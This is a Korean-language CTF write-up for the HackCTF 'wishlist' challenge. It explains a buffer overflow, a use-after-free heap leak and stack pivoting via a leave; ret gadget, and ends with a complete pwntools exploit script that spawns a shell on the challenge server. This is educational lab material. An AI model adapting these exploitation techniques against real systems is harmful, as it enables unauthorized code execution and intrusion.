[HackCTF] wishlist (500p) 풀이 및 알게 된 점
Wargame/HackCTF

[HackCTF] wishlist (500p) 풀이 및 알게 된 점

풀이

canary는 없고 Partial RELRO만 걸려있다. (stripped binary)


main

input 함수에서 값을 입력받고 add_wish, view_wish, delete_wish 함수를 실행한다.

 

input 함수에서는 BOF가 발생한다.

buf는 0x10칸이지만 0x20칸을 입력받으므로 SFP와 RET를 덮을 수 있다.


새로 알게 된 기법

 - Stack Pivoting

 

Stack Pivoting은 SFP와 RET를 덮을 수 있을 때 사용할 수 있는 공격 기법이다.

Stack Pivoting은 크게 2단계로 나뉜다.

 

stage #1

 - RBP Control

 

보통 read 함수와 같은 입력 함수는 RBP를 기준으로 입력을 받는다.

BOF에서 SFP를 임의 주소로 덮고 RET를 입력 함수의 인자가 세팅되는 주소로 되돌려 입력 함수를 재실행해 원하는 위치에 입력을 받는다.

 

stage #2

 - RSP & RIP Control by using leave; ret; gadget

 

leave; ret; 가젯을 이용해 RSP와 RIP를 control하여 fakestack에 있는 가젯을 실행해 ROP를 동작시킨다.

leave; ret; 가젯에 대해서는 따로 설명하지 않겠다.

 

또한, system 함수가 스택을 많이 사용해 익스플로잇을 진행 시 스택에 많은 공간이 필요하다는 점도 알게 되었다.


공격 시나리오

 

stage #1

 - heap base leak by UAF

 

UAF를 이용해 heap base를 leak 한다. heap base를 leak 하는 방법은 간단하다.

먼저 3개의 heap을 할당한다. 그 후, 0번과 1번 heap을 free한다. fastbin size heap을 free하면 fd값이 적히게 된다.

그리고 1개의 heap을 추가로 할당하면 1번 heap에 재할당이 된다. 이제 view_wish 함수를 이용해 heap base를 leak 할 수 있다. 참고로 2번 heap에 /bin/sh\x00 문자열을 적어준다.

 

stage #2

 - Dummy stack

 

system 함수는 스택을 많이 사용하기 때문에 add_wish 함수를 통해 공간을 늘려준다.

 

stage #3

 - Stack Pivoting

 

이제 heap에 원하는 가젯(pop_rdi + /bin/sh + system@plt)을 넣어주고 heap offset을 통해 leave; ret;으로 실행해준다. ROP에 의해 system("/bin/sh")이 실행되어 쉘이 따지게 된다.


from pwn import *

context.log_level = 'debug'

#p = process('./wishlist')
p = remote('ctf.j0n9hyun.xyz', 3035)
e = ELF('./wishlist')

pop_rdi = 0x400b03
leave_ret = 0x4008d8

def add(content):
    p.sendlineafter('input: ', '1')
    p.sendafter('wishlist: ', content)

def delete(idx):
    p.sendlineafter('input: ', '3')
    p.sendlineafter('index: ', str(idx))

def view(idx):
    p.sendlineafter('input: ', '2')
    p.sendlineafter('index: ', str(idx))

add('A')
add('B')
add('/bin/sh\x00')

delete(0)
delete(1)

add('D')
view(3)

leak = u64(p.recv(8).ljust(8, '\x00')) - ord('D')
heap = leak + 0x690
log.success(hex(leak))

for i in range(0, 50):
    add('Dummy')

payload = p64(pop_rdi) + p64(leak+0x50) + p64(0x4006c0)
add(payload)

payload = 'A'*0x10 + p64(heap-8) + p64(leave_ret)
p.sendafter('input: ', payload)

p.interactive()